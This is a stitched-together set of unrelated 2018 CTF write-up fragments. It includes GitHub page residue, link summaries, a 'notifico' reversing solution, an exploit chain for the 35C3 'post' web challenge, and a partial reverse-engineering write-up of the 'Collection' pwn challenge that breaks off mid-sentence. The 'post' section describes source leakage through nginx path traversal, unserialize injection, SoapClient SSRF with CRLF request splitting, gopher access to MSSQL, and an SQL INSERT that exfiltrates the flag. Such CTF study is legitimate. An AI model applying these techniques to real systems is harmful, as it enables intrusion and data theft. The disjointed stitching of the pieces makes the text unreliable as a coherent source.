</details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>Wishlist<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>Wishlist<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/serega6531/XmasCtf2018Writeups/tree-commit/c4e5b8c72c4e35e9b6cbbe2d163b9f94db6fd0ac/Wishlist" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/serega6531/XmasCtf2018Writeups/file-list/master/Wishlist"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Main.java</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
Link to write-up: [VolatileVirus](https://volatilevirus.home.blog/2018/12/30/bsidessf17-ctf-dnscap-write-up/) by [stuxn3t](https://twitter.com/_stuxn3t) tl;dr - wireshark + python-scapy + DNS
## notifico ### Analyze As you unzip `chall.tar.gz` as problem suggest, there are massive link-file and sub-directory. After traverse some sub-directory, you can notice there are 1 regular file per directory, and link-file numbers are different from directory to directory. Before jump into binary `check`, let's read check.py first. ```python#!/usr/bin/env python3from sys import argvimport os, subprocess, refrom stat import S_ISREGfrom hashlib import sha256from Crypto.Cipher import AES # Remember, only chmod, no touch! Also, make sure to keep symlinks while extracting. VAL = 15flag_fmt = r"35C3_[\w]*" # enc_flag = AES.new(sha256(my_magic).digest()).encrypt(b'35C3_my_example_flag_AAAAAAAAAAA')enc_flag = b'\x99|8\x80oh\xf57\xd4\x81\xa5\x12\x92\xde\xf5y\xbc\xc0y\rG\xa8#l\xb6\xa1/\xfeE\xc5\x7f\x85\x9a\x82\x0b\x02Y{\xd9/\x92X>p\\\xb7H\xb1{\xcf\x8b/r=\x87-#\xae\x95\xb6\xd1\r\x03\x13' if len(argv) != 2: print("Usage: {} <base_dir>".format(argv[0])) exit(-1) basedir = argv[1] res = subprocess.call(["./check", basedir]) if res == 255 or res != VAL: print("This looks no good...") exit(-1)else: print("A worthy try, let's see if it yields something readable...") fs = {} magic = ""for root, dirs, files in os.walk(basedir): for file in files: path = os.path.join(root, file) mode = os.lstat(path).st_mode if S_ISREG(mode): fs[path] = "{:o}".format(mode & 0o777) for path in sorted(fs.keys()): magic += fs[path] print("magic: ", magic) try: flag = AES.new(sha256(magic.encode()).digest(), AES.MODE_ECB).decrypt(enc_flag) if re.fullmatch(flag_fmt, flag.decode()) is not None: print("Looks good, here is your output: {}".format(flag)) exit(0)except Exception: pass print("Sorry, I only see gibberish. Do you have more where that came from?") ``` First, it needs argv[1] as basedirectory. and pass it to binary `check`. Second, it check return value of `check argv[1]` and if something goes wrong, it exit(). Third, if `check argv[1]` returns with 15, it make string through weird routine, which use regular file's perm and it called `magic`. Last, with `magic`, it decrypt `enc_flag` and if it contain sub-string `35C3_` , It would print it. It's unhelpful yet.. --- For more information, let's analyze `check`. It does simple job. At function `sub_16AA`, it searches every sub-directory of `argv[1]` (basedir) to find regular files, and add it to inotify wating file list. this watcher checks events, `accessed` and `writable-file closed`. > You can check https://mirrors.edge.kernel.org/pub/linux/kernel/people/rml/inotify/headers/inotify.h to find mask_value about inotify event. One thing you have to read careful in this function is this line in subfunction `sub_14EA`. `((v9 & 0x80) != 0) != ((v9 & 0x40) != 0) || v9 & 0x3F` If regular file's permission is not 700 and not 400, it exit().So every regular file has permission `rwx` or `r` In function `sub_1815`, it opens and closes every regular file in sub-directory of basedir, and it's all. There remains last, and most important function `sub_194D`. It first, poll fds which is inotified, and read_events from `fds.fd` when it's ready to be read. After it reads event, it check if events is `accessed` or `writable file closed`. If it is latter, it increments `dword_40C4`(which is `main` function return value) and `execve ` every link file in the directory where event occuring file included, or if it is former, call `exit()`. --- Let's follow the binary step by step, 1. It make every regular file to be inotifed(event 1 & 8).2. It opens every regular file and close. If file has perm 700, it would make event `writable file closed`, else nothing happen.3. poll every inotified fds, read event and branch according to event.4. Because every regular perm`700` file make event `writable file closed` , it read every this event and try to execute every link file in same directory. If any of this try succeed, it would make event `accessed` and will kill binary. --- Sum up the information about `check.py` and `check`, and find a way which problem demands. - Every regular file has to be have permission 700 or 400- `check` must return 15.- `check` returns num of the regular file which has perm 700.- `check` killed with -1 or 255, when more than two files(link and regfile) in same directory, is executable. In conclusion, it demands to find out set of regular files which has perm 700, and every link file in same directory links to non-executable file. --- ### Solution First you should make graph structure, including information about which regular file dominate which regular file. (dominate means if it has perm 700, dominated must not have 700) ```pythongraph={} for root, dirs, x in os.walk('chall'): for dir in dirs: for _,_,files in os.walk('chall/'+dir): key='' link=[] for file in files: mode=os.lstat('/'.join([root,dir,file])).st_mode if S_ISREG(mode): key='/'.join([dir,file]) graph.update({key:[]}) else: link.append(os.readlink('/'.join([root,dir,file]))[3:]) graph[key]=link``` After make graph, you have to find complete sub-graph which has 15 nodes. If there is no other clue, it's NP-complete problem(clique problem). However, thanks to hint, you can guess it's special case of clique problem, N-Queen, which has 15x15 chess board and 15 queens. You can be more sure if you check number of edges per node.Max value is 56, and it decrements 2 to min value, 42. It's definitely queen's movement.(Center queen can move to 56 locations of board, and queen at edges can move to 42 locations of board) Unfortunately, noticing it is just beginning of the problem. I first thought every location of board is matched with directory name in sorted order. But, it's not the case. I can't find any clue about which directory represents which location of board except above graph. So all you have to do is make chess-board complete with graph information, and solve 15-Queen problem. Thanks to google, there are many python N-queen solver. you could use it for your mental health. In addition, 15-Queen problem has more than 2000000 solutions. So you should brute-forcing every solution case to solve it. If you find the case, you can make correct `magic` string and decrypt `enc_flag`. You sould be patient... I think making board complete is hardest job in this problem. You can find the full solution at sol.py, which is almost undecodable and unorginized ;\ (sorry)Maybe after taking some rest, I would clean it up. Thanks to read my write-up, and feel free to ask about it. You can contact me through [email protected]. I would respond with full of grammar error :)
Solve Linear Equation with 40 unknowns.In short:1. Extract data from pcap2. Form the Matrix out of given data3. Solve the Equation to get AES_key4. Decrypt the Ciphertext with the key [Detailed Writeup Here:](https://sayoojsamuel.github.io/2018/12/30/Writeups/pretty-linear/)https://sayoojsamuel.github.io/2018/12/30/Writeups/pretty-linear/ ### 35c3 Unofficial [Crypto]Similar challenge, but with higher dificulty due to missing variable
# 'post' challenge This was one of the web challenges. Congrats to 0daysober and LC/BC for solving it! ## RunTo run it locally just do `docker-compose build && docker-compose up`. ## ExploitThere are several steps to successfully exploit it. 1. **nginx misconfiguration** You can leak the source code by navigating to `/uploads../`.2. **arbitrary unserialize** After auditing the source code, you will find that the application unserializes strings from the database that have the prefix `$serializedobject$`. However, there is a check to prevent you from injecting strings of that form into the database. Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains `0xEF 0xBC 0x84`, it will be stored as `$`.3. **SoapClient SSRF** SoapClient can perform POST requests if any method is called on the object. The `Attachment` class implements a `__toString` method, which calls `open` on its `za` property. Serializing a SoapClient as `za` property will therefore lead to SSRF. 4. **SoapClient CRLF injection** There is a proxy running on `127.0.0.1:8080`, which you want to reach. Looking at the nginx configuration, it only accepts GET requests. However, SoapClient generates POST requests. But the `_user_agent` property of SoapClient is vulnerable to CRLF injection and thus you can perform a request splitting. By injection `\n\n` followed by a valid GET request, you can reach the proxy via a GET. 5. **miniProxy URL scheme bypass** Here I fucked up a bit. Intended solution was to bypass the check for http/https in miniProxy. This is possible by using `gopher:///...` as miniProxy only verifies http/https if the host is set. Unfortunately, you can also just bypass it with a 301 redirect to gopher... SAD! :D 6. **Connect to MSSQL via gopher** Final step was to connect to MSSQL via gopher using the credentials from the source code leak. The only thing to look out for here is that gopher automatically adds a `\r\n` to the request, which has to be accounted for when creating the MSSQL packets. 7. **Get flag** The miniProxy does not return the output of the request if the resulting URL is different from the requested URL (which it is in our case). Therefore to get the flag you want to copy it to one of your posts: `INSERT INTO posts (userid, content, title, attachment) VALUES (123, (select flag from flag.flag), "foo", "bar");-- -`. You can find your user id by sending a request to the application with the header `Debug: 1`. To run the exploit do `python exploit.py`
Basic linear algebra allows us to set any 3x3 square to any value we want. Using this we can set the whole board to zero. Full writeup: https://smyghalloumi.se/posts/2018-12-27-otw-advent-2018-playagame.html
# 2018-12-27-35C3-CTF # [CTFTime link](https://ctftime.org/event/718) | [Website](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/) --- ## Challenges ## Note: only listing solved challenges. ### pwn ### - [x] [150 collection](#150-pwn--collection) ### rev ### - [x] [49 0pack](#49-rev--0pack) - [x] [72 box of blink](#72-rev--box-of-blink) - [x] [65 corebot](#65-rev--corebot) - [x] [97 juggle](#97-rev--juggle) - [x] [215 notifico](#215-rev--notifico) --- ## 150 pwn / Collection ## **Description** > [behold my collection](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/52ae03f0ae030a74a2bd466852308cba74c0f313.tar.gz)> > The container is built with the following important statements> > FROM ubuntu:18.04> > ```> RUN apt-get -y install python3.6> COPY build/lib.linux-x86_64-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.so> ```> > Copy the library in the same destination path and check that it works with> > ```bash> python3.6 test.py> ```> > Challenge runs at 35.207.157.79:4444> > Difficulty: easy **Files provided** - [collection](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/52ae03f0ae030a74a2bd466852308cba74c0f313.tar.gz) **Solution** (by [Mem2019](https://github.com/Mem2019)) This should be an easy challenge, but I have missed some basic Python knowledge essential to solving the chanllenge, so I failed to solve it in the contest. :( Anyway let's start looking at it. The `Python3.6` and `libc` given are exactly same as the ones in `Ubuntu 18.04`, so they are not important. According to the instruction and the files given, we can find that a new data type `Collection` implemented in `Collection.cpython-36m-x86_64-linux-gnu.so` is given. Anything that can help to get the flag directly in Python is disabled, and it is obvious that we need to exploit the given `Collection` data type to get the flag. But how does the extended data type works? For example, there should be some convention that helps the CPython to know how to correspond Python function with particular native C function, just like Android native function. After some investigation and Google, I found this [documentation](https://docs.python.org/3/extending/), and I will not detail the software development part here because they are well explained in the link I provides. ### reverse engineering After understanding the basic concept above, we can start looking at the `.so` binary. ```c__int64 PyInit_Collection(){ __int64 v0; // rax __int64 ret; // rbx if ( (signed int)PyType_Ready((__int64)type_Collection) < 0 ) return 0LL; v0 = PyModule_Create2((__int64)def_module, 1013LL); // create the module ret = v0; if ( !v0 ) return ret; ++type_Collection[0]; PyModule_AddObject(v0, (__int64)"Collection", (__int64)type_Collection); // add the type into module // These codes are basically same as the demo in official doc mprotect((void *)0x439000, 1uLL, 7); MEMORY[0x43968F] = _mm_load_si128((const __m128i *)&16_0xcc); MEMORY[0x43969F] = MEMORY[0x43968F]; // write int3 into python3.6??? mprotect((void *)0x439000, 1uLL, 5); init_sandbox(); // disable most syscall, we can only read the flag by `readv` and `write` return ret;}``` Then we need to look at `type_Collection` to find the member functions of data type `Collection`. I initially decide to import the `PyTypeObject` from `Python.h`, but the dependency problem is a bit annoying. If anyone knows a good way to import the data structures from header files like this, please let me know. :) Another way is just to look at the memory layout and guess. After some investigation, it is obvious that `0x1470` correspond to the `get` member function that should be essential, according to memory layout. ![1546245330387](1546245330387.png) In addition, `0x1700` is the `__init__` and `0x1550` is the `__new__`, because `0x1700` seems to assign some initial value to the struct while `0x1550` only create and return a object. To ensure our assumption, we can set the breakpoint and we can find that indeed `0x1550` will be called first when creating a `Collection` object. The way to debug this thing is also tricky. The `.so` of `Collection` will not be loaded until `import Collection` is executed. However, when we run `python3` interactively, the `read` syscall will be called after we import the module, which will cause the bad syscall due to the sandbox. To make the debug more convinient, we can patch the library and remove the sandbox first. ### analyze critical functions It is quite inconvinient that we cannot import the structrue to help analysis, so we cannot use `y` to let the code more readable. ```c_QWORD *__fastcall _new__(__int64 type_Collection, __int64 a2){ __int64 len; // rax _QWORD *result; // rax __int64 arg_dict; // [rsp+0h] [rbp-18h] unsigned __int64 v5; // [rsp+8h] [rbp-10h] v5 = __readfsqword(0x28u); if ( PyArg_ParseTuple(a2, "O!", &PyDict_Type, &arg_dict) ) { len = PyDict_Size(arg_dict, (__int64)"O!"); if ( len && len <= 32 ) // off by one, but not very exploitable { result = (_QWORD *)(*(__int64 (__fastcall **)(__int64, _QWORD))(type_Collection + 0x130))(type_Collection, 0LL);// type->tp_alloc(type, 0) if ( result ) result[2] = 0LL; } else { result = &Py_NoneStruct; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a dictionary"); result = 0LL; } return result;}``` `PyArg_ParseTuple` is an interesting function, it separates the tuple `PyObject` into elements specified by format, and return `NULL` if the format is inconsistent with the real type. The detial is in official document. The `PyObject` is the `C` representation of Python object in C. The first field is reference count, and the second field is a pointer pointing to its `PyTypeObject` struct that specifies its type. The following data vary with different types of object. For example, for the Python big integer type, there will be an array storing the value of the big integer. The total length of the `PyObject` can also vary. Then we are going to look at `__init__` and `get` to see the memory layout of `PyObject` of `Collection` ```c// the return value of __new__ is a1unsigned int __fastcall _init__(__int64 collection_obj, __int64 a2){ __int64 v2; // r14 __int64 dict_; // rbx int i; // er12 __int64 keys; // r13 list *lRecord; // r15 char *strKey; // rax int type; // esi __int64 v9; // rdx record *v10; // rax handler *v11; // rax unsigned int result; // eax __int64 v13; // rdi __int64 v14; // rax char *v15; // ST08_8 __int64 dict; // [rsp+18h] [rbp-60h] __int64 poKey; // [rsp+20h] [rbp-58h] _QWORD *poVal; // [rsp+28h] [rbp-50h] __int64 ppos; // [rsp+30h] [rbp-48h] unsigned __int64 v20; // [rsp+38h] [rbp-40h] v2 = collection_obj; v20 = __readfsqword(0x28u); if ( PyArg_ParseTuple(a2, "O!", &PyDict_Type, &dict) ) { dict_ = dict; if ( *(_BYTE *)(*(_QWORD *)(dict + 8) + 171LL) & 0x20 ) { i = 0; keys = PyDict_Keys(dict); if ( *(_BYTE *)(*(_QWORD *)(keys + 8) + 171LL) & 2 ) { while ( i < PyList_Size(keys) ) { if ( !(*(_BYTE *)(*(_QWORD *)(PyList_GetItem(keys, i) + 8) + 171LL) & 0x10) ) { PyErr_SetString(PyExc_TypeError, "parameter must be a string"); // check all keys are string goto LABEL_20; } ++i; } lRecord = listCreate(); ppos = 0LL; while ( PyDict_Next(dict_, &ppos, &poKey, &poVal) ) { strKey = PyUnicode_AsUTF8(poKey); type = 0; v9 = *(_QWORD *)(poVal[1] + 168LL); if ( !(v9 & 0x2000000) ) { type = 2; if ( !(v9 & 0x20000000) ) { type = 1; if ( !(v9 & 0x1000000) ) { v15 = strKey; PyErr_SetString(PyExc_TypeError, "properties can only be either list, dictionary or an integer"); type = -1; strKey = v15; } } } v10 = newRecord(strKey, type); listAppend(lRecord, v10); } v11 = getTypeHandler(lRecord); ppos = 0LL; *(_QWORD *)(collection_obj + 16) = v11; while ( 1 ) { result = PyDict_Next(dict_, &ppos, &poKey, &poVal); if ( !result ) break; v13 = poKey; ++*poVal; PyUnicode_AsUTF8(v13); if ( *(_BYTE *)(poVal[1] + 171LL) & 1 ) { v14 = PyLong_AsLong(poVal); *(_QWORD *)(v2 + 8 * ppos + 16) = v14; } else { *(_QWORD *)(v2 + 8 * ppos + 16) = poVal;// ppos start from 1 } } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a list");LABEL_20: PyErr_SetString(PyExc_TypeError, "parameter must be a list"); result = -1; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a list"); result = -1; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a dictionary"); result = 0; } return result;}void *__fastcall py_get(CollectionObj *a1, __int64 a2){ __int64 *v2; // rcx CollectionObj *v3; // rbx __int64 *v4; // rdi int idx; // eax node *iter; // rdx int v7; // ecx void *result; // rax __int64 arg; // [rsp+0h] [rbp-18h] unsigned __int64 v10; // [rsp+8h] [rbp-10h] v3 = a1; v10 = __readfsqword(0x28u); if ( !PyArg_ParseTuple(a2, "s", &arg, v2) ) return &Py_NoneStruct; v4 = (__int64 *)a1->type; if ( v4 != type_Collection && !(unsigned int)PyType_IsSubtype(v4, type_Collection) ) return &Py_NoneStruct; idx = listIndexOf(v3->u[0].handler->lRecord, arg, (unsigned int (__fastcall *)(_QWORD, __int64))recordNameComparator); if ( idx == -1 ) return &Py_NoneStruct; iter = v3->u[0].handler->lRecord->head; if ( iter && idx > 0 ) { v7 = 0; do { iter = iter->next; ++v7; } while ( iter && idx > v7 ); } result = (void *)v3->u[idx + 1].val; if ( iter->record->val_type == 1 ) result = (void *)PyLong_FromLong(result); return result;}``` relavant data structures ```assembly00000000 list struc ; (sizeof=0x14, align=0x4, copyof_14)00000000 head dq ?00000008 tail dq ? ; offset00000010 len dd ?00000014 list ends0000001400000000 ; ---------------------------------------------------------------------------0000000000000000 record struc ; (sizeof=0xC, align=0x4, mappedto_15)00000000 key_str dq ?00000008 val_type dd ?0000000C record ends0000000C00000000 ; ---------------------------------------------------------------------------0000000000000000 handler struc ; (sizeof=0xC, align=0x4, mappedto_17)00000000 lRecord dq ?00000008 count dd ?0000000C handler ends0000000C00000000 ; ---------------------------------------------------------------------------0000000000000000 node struc ; (sizeof=0x10, align=0x8, copyof_16)00000000 record dq ?00000008 next dq ?00000010 node ends0000001000000000 ; ---------------------------------------------------------------------------0000000000000000 union_7 union ; (sizeof=0x8, mappedto_19)00000000 handler dq ? ; offset00000000 val dq ?00000000 obj dq ?00000000 union_7 ends0000000000000000 ; ---------------------------------------------------------------------------0000000000000000 CollectionObj struc ; (sizeof=0x118, mappedto_20)00000000 ref_count dq ?00000008 type dq ?00000010 u union_7 33 dup(?)00000118 CollectionObj ends``` `record` stores the key which is a string, and the type of value correspond to that key; and the `handler` stores a list of records, which is the type information of 